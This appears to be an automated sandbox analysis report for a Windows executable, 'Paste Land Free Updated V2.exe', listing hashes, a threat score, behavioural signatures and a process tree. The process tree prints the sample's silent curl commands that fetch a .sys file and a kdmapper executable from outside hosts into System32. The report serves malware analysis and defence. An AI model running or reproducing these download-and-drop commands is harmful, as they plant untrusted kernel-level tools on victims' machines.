Analysis
- user interaction
yes - max time kernel
149s - max time network
151s - platform
windows10-ltsc_2021_x64 - resource
win10ltsc2021-20260513-en - resource tags
arch:x64arch:x86image:win10ltsc2021-20260513-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows - submitted
31/08/2026, 12:04
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
Paste Land Free Updated V2.exe
Resource
win10ltsc2021-20260513-en
4 signatures
150 seconds
General
- Target Paste Land Free Updated V2.exe
- Size 972KB
- Sample260831-n84tfa1dmd
- SHA256 aee0b8e133979a8534fb9cb3736ba0a9e3b2773f7a6af7ece0a2c06cb875e75b
- MD5 366c89a76d4a0961ce50e17bc8cc0065
- SHA1 4ecc750baccb1665cdd6ceecb01d4f28a615c6e7
- SHA512 7df082d34ee04fb3211ff00d2c3f303779f10861f72c03e353ec1dae27daa305aa09a99c3bc16e209a54420b6b5549c434925261f0c726ad5eee06d46e566e49
- SSDEEP 24576:9/TluDUEukNmLw1lnxbyfQC8/1roD0c8i1snBm0dh+YW2e:JTluDUE2sbC8xU51snBJh+z2
- TLSH T1FA25AE54F7F441B4D17BA13899A6EB1FEB36784C0730AADF23D009582FA76E04A76721
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
6/10
Malware Config
Signatures
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
flow ioc 20 raw.githubusercontent.com 19 raw.githubusercontent.com - Executes a command shell one-liner 1 TTPs 6 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 936 cmd.exe 2660 cmd.exe 5216 cmd.exe 4272 cmd.exe 2380 cmd.exe 3164 cmd.exe - Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 4760 wrote to memory of 936 4760 Paste Land Free Updated V2.exe 83 PID 4760 wrote to memory of 2660 4760 Paste Land Free Updated V2.exe 84 PID 4760 wrote to memory of 5216 4760 Paste Land Free Updated V2.exe 85 PID 5216 wrote to memory of 1472 5216 cmd.exe 86 PID 4760 wrote to memory of 4272 4760 Paste Land Free Updated V2.exe 87 PID 4272 wrote to memory of 4996 4272 cmd.exe 88 PID 4760 wrote to memory of 2380 4760 Paste Land Free Updated V2.exe 91 PID 4760 wrote to memory of 3164 4760 Paste Land Free Updated V2.exe 92 - cURL User-Agent 1 IoCs
Uses User-Agent string associated with cURL utility.
description flow ioc HTTP User-Agent header 8 curl/8.7.1
Processes
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C:\Users\Admin\AppData\Local\Temp\Paste Land Free Updated V2.exe"C:\Users\Admin\AppData\Local\Temp\Paste Land Free Updated V2.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:4760 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
- Executes a command shell one-liner
PID:936
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
- Executes a command shell one-liner
PID:2660
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c curl --silent https://files.catbox.moe/x7ic4m.sys --output C:\Windows\System32\hobo.sys >nul 2>&12⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5216 -
C:\Windows\system32\curl.execurl --silent https://files.catbox.moe/x7ic4m.sys --output C:\Windows\System32\hobo.sys3⤵PID:1472
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c curl -L --silent https://github.com/R3L8ntLe55/map/raw/refs/heads/main/kdmapper_Release.exe --output C:\Windows\System32\kdmapper.exe >nul 2>&12⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4272 -
C:\Windows\system32\curl.execurl -L --silent https://github.com/R3L8ntLe55/map/raw/refs/heads/main/kdmapper_Release.exe --output C:\Windows\System32\kdmapper.exe3⤵PID:4996
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
- Executes a command shell one-liner
PID:2380
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c pause2⤵
- Executes a command shell one-liner
PID:3164
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